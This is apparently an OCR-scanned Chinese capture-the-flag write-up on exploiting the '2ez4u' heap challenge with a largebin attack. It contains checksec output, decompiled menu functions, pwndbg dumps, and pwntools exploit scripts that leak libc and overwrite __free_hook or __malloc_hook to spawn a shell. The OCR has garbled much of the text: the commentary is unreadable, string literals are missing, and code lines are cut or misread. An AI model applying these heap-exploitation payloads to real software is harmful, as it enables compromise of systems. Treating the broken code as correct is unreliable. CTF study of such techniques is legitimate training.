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checksec

mira@ubuntu:~/test/pwn/largebin_attack/2ez4u$ checksec 2ez4u
[*] "/home/mira/test/pwn/largebin_attack/2ez4u/2ez4u’

Arch: amd64-64-1ittle

RELRO: Full RELRO (AEeEHgotR)

Stack: Canary found
NX: NX enabled
PIE: PIE enabled

WUEH, ZEFR—eAsI SRR . RFEHITE.
XA ASLR:
HER: AR R ZRAASLR AR XA bk &34k

KHAZE, RSB EMHE: 555555554000
mira@ubuntu:~$ cat /proc/12046/maps
555555554000-555555556000 r-xp 00000000 08:01 6687744

KR :

mira@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space

[S)

echo @ proc/sys/kernel/randomize_va_space

*KHJE:

mira@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space

[S)
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. context.log_level = ‘DEBUG’
77T debug, 7T LA 2 B C #I R IZ MK

. io = process("./2ez4u", env = {*LD_PRELOAD” : “/libc.s0™})

RFEMATEEMlibeX M H8E, PEEEE—T, FAdsoMRAERE, B4 Eibc—RRESRKE, FrlliXEK
%, 1 Fubuntu16.04

. gdb.attach(io, ‘b *0x%Xx % (base_addr+0xD22))

i Fgdb attachifli®, b* & TWr, #Emalloc MW, attach b2 /5 F7ERME FRriT, BXH.
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Igdft Jump Search VMiew Debugger Options Windows Help

Lh Copy Ctrl+C Ag @ ﬁ@i ‘s*'gl—ﬁ X:p
seginseecion At | [ A
Select all ;

L ] . . struction Data lTnexplored External symbol
i Select identifier Shift+Enter El Oh Viera 0 | — 0
d Export data Shift+E .text : 0000000000081331
E Code c .text:0000000000001331
i .text:0000000000001331

ﬁ Data D .text:0000000000001332 90

@" Struct var... Alt+Q .text:0000000000001333 S0

‘Sj- Strings 3 .text:0000000000001334 90

f Array... Numpad+* .text:0000000000001335 S0

% Undefine > .text:0000000000001336 90
= .text:0000000000001336

I_ﬁ Rename N .text:0000000000001336
Operand typs 5 .text:0000000000001337 S0

.text:0000000000001338 90
Comments ' +avi - ARAGAARGARAAT23G_an
Segments b Create segment...
Structs b Edit segment... Alt+5 BB
Eunctions D Delete segment... 8B
Patch program b Move current segment... 00
5 Other D l Rebase program... =
Plugins D Change seiﬁebase program E —
Keypatch D Change segm'e::t-:;g';.i;t_;-:fme... A+ |

©® Rebase the whaole program E

Please enter the new
':' #ddress of the first segment

) Shift delta

@ Image base

Value [IREESSEES40C =

Fix up the program
Rebaze the whole image

| ok || canead || el




0000555555554D18 loc_555555554D18 ; CODE XREF: add_apple+1091j
0000555555554D18 mov eax, [rbp+m_length]
0000555555554D1B add rax, 18h

©000555555554D1F mov rdi, rax ; size
0000555555554D22 call malloc
0000555555554D27 mov [rbp+apple_info], rax

Thag ot

XREHapple —EXHE, T applef t(s B M mallocKIHEZ [A1H, I H & Mapple#i#A manage_apple®#, i
1E .bssE
X B UG A

struct_apple struc ; (sizeof=0x19, mappedto 6)
m_color dd

m_num dd

m_value dqg

m_index dd

m_size dd

m_pbuf db

struct_apple

manage_apple struc ; (sizeof=0x10, mappedto_7)

;5 XREF: .bss:g manage_apple_buf/r
flag dd
description_apple_length dd
apple_info dq

manage_apple ends

BERFHRE



void sub 555555555232 ()
{

__int64 savedregs;

while ( 1)
{
menu();
input_user();
switch ( (unsigned int)&savedregs )
{
case 1u
add_apple();
break;
case 2u
del _apple();
break;
case 3u
edit_apple();
break;
case 4u
show_apple();
break;
case 5u
exit(@);
return;
default
puts(

break;

aChjEEliﬁ:

IR
BEH16MER, FiRm— AR apple B 0 B/ HEZE (8],
FHIEHIER apple_infotg4t &5 5, WRE FEREH 2g_manage_apple_buf+

unsigned _ int64 add_apple()
{
int i;
int m_color;
unsigned int m_value;
unsigned int m_num;
unsigned int m_length;
struct_apple *apple_info;

unsigned __int64 v7;

v7 = _ readfsqword(0x28u);
if ( apple_num 16 )
{
puts( )
}
else
{
printf(
m_color input_user();
if ( m_color 1 m_color )

{




puts(
)i
else
{
printf( );
m_value input_user();
if ( m_value Ox3E7 )
{
printf( );
m_num input_user();
if ( m_num ox10 )
{
printf(
m_length input_user();
if ( m_length 0x400 m_length )
{
apple_info (struct_apple *)malloc(m_length Ox18LL);
printf( )
read off by null((__int64)&apple_info->m_pbuf, m_length,

apple_info->m_color m_color;
apple_info->m_value m_value;
apple_info->m_num m_num;
for (i 0; i 15; i)
{
if ( (&g_manage_apple buf.flag + 4 * i) )
{
apple_info->m_index i
((_QWORD *)&g manage_apple buf.apple_ info 2 i) apple_info;
(&g_manage_apple buf.description_apple length 4 i) m_length;
(&g_manage_apple buf.flag 4 i) 1;
apple _num;
printf( , (unsigned int)i);

return _ readfsqword(0x28u) v7;

return _ readfsqword(@x28u) v7;

del_applei % :
8 € apple_infoffifk, (HRIFWHI BEET, &R UAFRKTH




unsigned __ int64 del apple()

I
1
unsigned int vi;

unsigned __ int64 v2;

v2 = _ readfsqword(0x28u);

printf( )

vl input_user();

if (v1 OxF (&g_manage_apple_buf.flag + 4

{
(&g_manage_apple_buf.flag + 4 * v1) 9;

free(*((void )&g_manage_apple_buf.apple_info

apple_num;
}
else

{

puts( )5
}

return _ readfsqword(@x28u)

edit_applers % :



unsigned _ int64 edit_apple()
{

unsigned int vi;

int v2;

unsigned int v3;

unsigned int v4;

unsigned __ int64 v5;

v5 = _ readfsqword(0x28u);
printf( )
vl input_user();

if (v1 OxF ((_QWORD *)&g _manage_apple_buf.apple_info

printf(
v2 input_user();
if ( v2 1 v2 )
puts( )
else
( (_DWORD )&g_manage_apple_buf.apple_info
printf( );
e input_user();
if ( v3 Ox3E7 )
(_QWORD *)(*((_QWORD *)&g_manage_apple_buf.apple_info
else
puts( )s
printf( );
v4 = input_user();
if ( v4 ox10 )
(_DWORD *)(*((_QWORD *)&g_manage_apple_buf.apple_info
else
puts( )
printf( )
read_off_by null(
((_QWORD *)&g manage_apple buf.apple_info + 2 * v1) 24LL,
(&g_manage_apple_buf.description_apple_length + 4 * v1),
)
}
else
{
puts( )
}

return _ readfsqword(@x28u) v5;

show_appless 3 :

MHERE R




unsigned __ int64 show_apple()

{
L

unsigned int vi;

unsigned __ int64 v2;

v2 = _ readfsqword(0x28u);
printf( )5

vl input_user();

if (v1 OxF ((_QWORD *)&g_manage_apple_buf.apple_info 2 *vl) )

{
if ( ((_DWORD )&g_manage_apple_buf.apple_info 2 *vl) )

puts( )
else
puts( )
printf( , *(unsigned int *)(*((_QWORD *)&g manage_apple_buf.apple_info 2 * vl) 4LL));
printf( , (unsigned int)(char)*(_QWORD *)(*((_QWORD *)&g manage_apple_buf.apple_info 2 * vl)
8LL));
printf( )
puts((const char *)(*((_QWORD *)&g manage_apple_buf.apple_info 2 * vl) 24LL));

1
J

else

{

puts( )

1
J

return _ readfsqword(@x28u) v2;
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from pwn import

from ctypes import c_uint32

context.arch
context.os

io process( )

EXEC 0x0000555555554000

def add(1l, desc):
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(

io.recvuntil(

io.sendline(

io.recvuntil(
io.sendline( @D))
io.recvuntil(
io.sendline(desc)
pass
def dele(idx):
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline( (idx))
pass
def edit(idx, desc):
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(desc)
pass
show(idx):
io.recvuntil(
io.sendline(
.recvuntil(
.sendline( (idx))

0x60
y 0x60
0x60
Ox60
Ox60
0x60
0x60




0x30 )
0x3d0)
0x30 )
0x3e0)
0x30 )

0x400)

(io.recvline()[:-1])).value)
)
:-1] ) -0x7e0
HEAP)
HEAP+0xb@
HEAP+0x130
HEAP+0x1b@
HEAP+0xc30

edit(Oxb, p64(chunkl addr))
edit(Ox1, p64(0x0)+p64(chunkl _addr))

p64(0x0)

p64(0x0)

p64(0x421)

p64(0x0)

p64(0x0)

p64(chunkl_addr)

chunk2)

p64(0x0)

p64(0x0)

p64(0x411)

p64(target_addr-0x18)

p64(target_addr-0x10)

p64(victim_addr)

p64(chunk2_addr)

chunk1)
0x198+p64(0x410)+p64(0x411))

5 0x30+p64 (0xdeadbeefdeadbeef))

ox60 )

io.recvuntil( 0x30)

io.recv(8)

LIBC ub4(io.recv(6) ) -0x3c4be8
LIBC)

p64 (0x81)
p64 (LIBC+0x3c4be8)
p64 (HEAP+0x300)

junk.ljust(exas,
p64(0x80)




recovery jun
recovery p64
p64

recov

jun
p64
p64
recov

p64

p64
, recov
s

»  p6a(

p64(H

k)

io.interactive(

leak heap

k
(0x80)
(0x60)

ery)
OXx60 )

k
(0x70)
(0x0)
ery)
0x30 )

0x30
(0x61)
(LIBC+@x3c4b50)
ery)

0x30 )
LIBC+@x3c5¢50))

EAP+0x7€0))

Ox1d0+p64 (LIBC+Ox4526a))

)

B RMERA K/MER—binsH Hlarge chunk, ¥ HBEBE, XFHNchunkfeik Aunsorted bind, FHIE— ANl 2 X HEA
chunk X/Mfichunk, Wunsorted binsH §#>chunk# £ 3% Alarge binsH
FE fd_nextsizefbk_nextsize ¥4 1E, AR MIX B A chunkfI g4 B EE LS RZ RS, FrlMKAT LIITED (UAF)

pwndbg> x /32gx
©x555555756040
©x555555756050
©x555555756060
©x555555756070
©x555555756080
©x555555756090
©x5555557560a0
©x5555557560b0
©x5555557560c0
©x5555557560d0
©x5555557560e0
©x555555756010
©x555555756100

0x555555756040

0x0000006000000000
0x0000006000000001
0x0000006000000001
0x0000006000000001
0x0000006000000001
0x0000006000000001
0x0000006000000001
0x0000031000000001
0x0000003000000001
0x000003e000000000
0x0000003000000001
0x0000031000000000
0x0000003000000001

0x0000555555757010
0x0000555555757090
0x0000555555757110
0x0000555555757190
0x0000555555757210
0x0000555555757290
0x0000555555757310
0x0000555555757390
0x00005555557577a0
0x0000555555757710
0x0000555555757b0
0x0000555555757c40
0x0000555555758050

N T O VW 00 N O UV B WDN RO




Ox80: Ox7ffff7ddlbe8 (main_arena+200) —» 0Ox555555757000(dele(0)) <«— Ox7ffff7ddlbe8
largebins

Ox400: Ox5555557577e0 — Ox7ffff7dd1f68 (main_arena+1096)

—» Ox555555757c30(b) <«— Ox5555557577e0(

HEAP oxbo
HEAP 0x130
HEAP ox1bo
HEAP oxc30

heap base 0x0000555555757000
target_addr 0x00005555557570b0
chunkl_addr ©x0000555555757130
chunk2_addr 0x00005555557571b0
victim_addr 0x0000555555757c30

edit(Oxb, p64(chunk1_addr))

pwndbg> x/30xg 0x555555757c30

Px555555757¢c30: 0Ox0061616161616161 0x0000000000000411
Px555555757c40: 0x00005555557577e0(9_chunk) 0x00007ffff7dd1f68
Px555555757c50: 0x00005555557577e@ 0x0000555555757130(bk_nextsize)
Px555555757¢c60: 0x6262626262626200 0x6262626262626262

fastbin chunk

dele(0x6)
dele(0x3)




@x555555757180(3) — 0Ox555555757300(6) <«— 0x0
unsortedbin
2ll: oxe
smallbins
Ox80: Ox7ffff7ddlbe8 (main_arena+200) —» 0Ox555555757000 <«— Ox7ffff7ddlbe8
largebins
Ox400: Ox5555557577e0 — Ox7ffff7dd1f68 (main_arena+1096) —» Ox555555757c30 <«— Ox5555557577€0

#e
add(0x3f0, ‘3*0x30+p64(0Oxdeadbeefdeadbeef)) # chunk1, arbitrary write !

Px400: 0x5555557577e0 — Ox7ffff7dd1f68 (main_arena+1096) —» ©Ox555555757¢30 <«— ©x5555557577e0

add(0x60, ‘6™0x60 )
18 F fast bin0, F ¥ Hu bt 7778 2] manage[3].mallocH, B JE Kmolloc_3 ##kk malloc_0

Ox80: Ox555555757180(#3) —» Ox7ffff7ddlbe8 (main_arena+200) —» ©x555555757300(#6) <«— ©x555555757180
largebins
Px400: Ox5555557577e0 — Ox7ffff7dd1f68 (main_arena+1096) —» Ox555555757¢30 <«— ©x5555557577€0

show(0x6) #IL7E #& 1 ) & malloc_0
A4 malloc_0 Msmallbins B, Hmalloc 04 smallbinsB£ K1 E 4>, AT LA chunk_0 FIfd$g A smallbinffifd
chunk_0




@Xx555555757000: 0x0000000000000000 0x00000VVVVCVVV81
@x555555757010: 0x00007ffff7dd1lbe8 ©0x0000555555757180
©x555555757020: 0x0000000000000000 0x3030303030303030

Ox7ffff7dd1b20
offset_smallbin_60_0f main_arena = 0x68 + 0x60 # = 0xc8

i# i fastbin attack . unsortedbin attackf# &5

1. system 3¢ __free_hook

from pwn import

from ctypes import c_uint32

io process( )
libc ELF( )
base_addr 0x0000555555554000

def add(l, desc):
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline( (1))
io.recvuntil(

io.sendline(desc)

add(1l, desc):
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline(
io.recvuntil(
io.sendline( (1))
io.recvuntil(
io.sendline(desc)

def dele(idx):
io.recvuntil(
io.sendline(
io.recvuntil(

io.sendline( (idx))

def edit(idx, desc):
io.recvuntil(
io.sendline(

io.recvuntil(




.sendline(
.recvuntil(
.sendline(
.recvuntil(
.sendline(
.recvuntil(
.sendline(
.recvuntil(

.sendline(desc)

show(idx):
io.recvuntil(
io.sendline(
io.recvuntil(

io.sendline( (idx))
s 0x100)

5 0x100)
0x100)

0x110)

ub4(io.recv(6).ljust(8, )) 0x3C4B78
(libc_base)

free_hook = libc_base + libc.symbols[

__free_hook 0x50

0x10)
0x10)
0x10)
0x100)
0x10)

, 0x90)




payload 0x90+p64(0x71)+p64(libc_base + 0x3c4b78)+p64(free_hook)
edit(3,payload)
add (0x68 ox18,

addr libc_base 0x3c6765

libc_base libc.symbols|
0x90+p64(0x71)+p64(addr)

0x3c6765 -0x28
(offset)
offset p64(system))
)

io.interactive()

2. $1¥ __malloc_hook __ realloc_hook




main_arena_offset 0x3c4b20

main_arena_addr main_arena_offset libc_base

fack_unsorted_bin_addr = main_arena_addr - ©x33 0x18 - oxd

payload 0x90+p64(0x71)+p64(libc_base + 0Ox3c4b78)+p64(fack _unsorted bin_addr)
edit(3,payload)

add (0x68 ox18,

dele(1)

fake chunk_addr = main_arena_addr - ©x33 ox18
payload 0x90+p64(0x71)+p64(fake chunk_addr)
edit(3,payload)

add (0x68-0x18,

libc_base Ox4526A
libc_base ox846C0
11 p64(one_gadget) p64(realloc oxc)
add (0x68-0x18, payload)

.recvuntil(
.sendline(
.recvuntil(
.sendline(
.recvuntil(
.sendline(
.recvuntil(

.sendline(

.recvuntil(
.sendline( (33))
.interactive()
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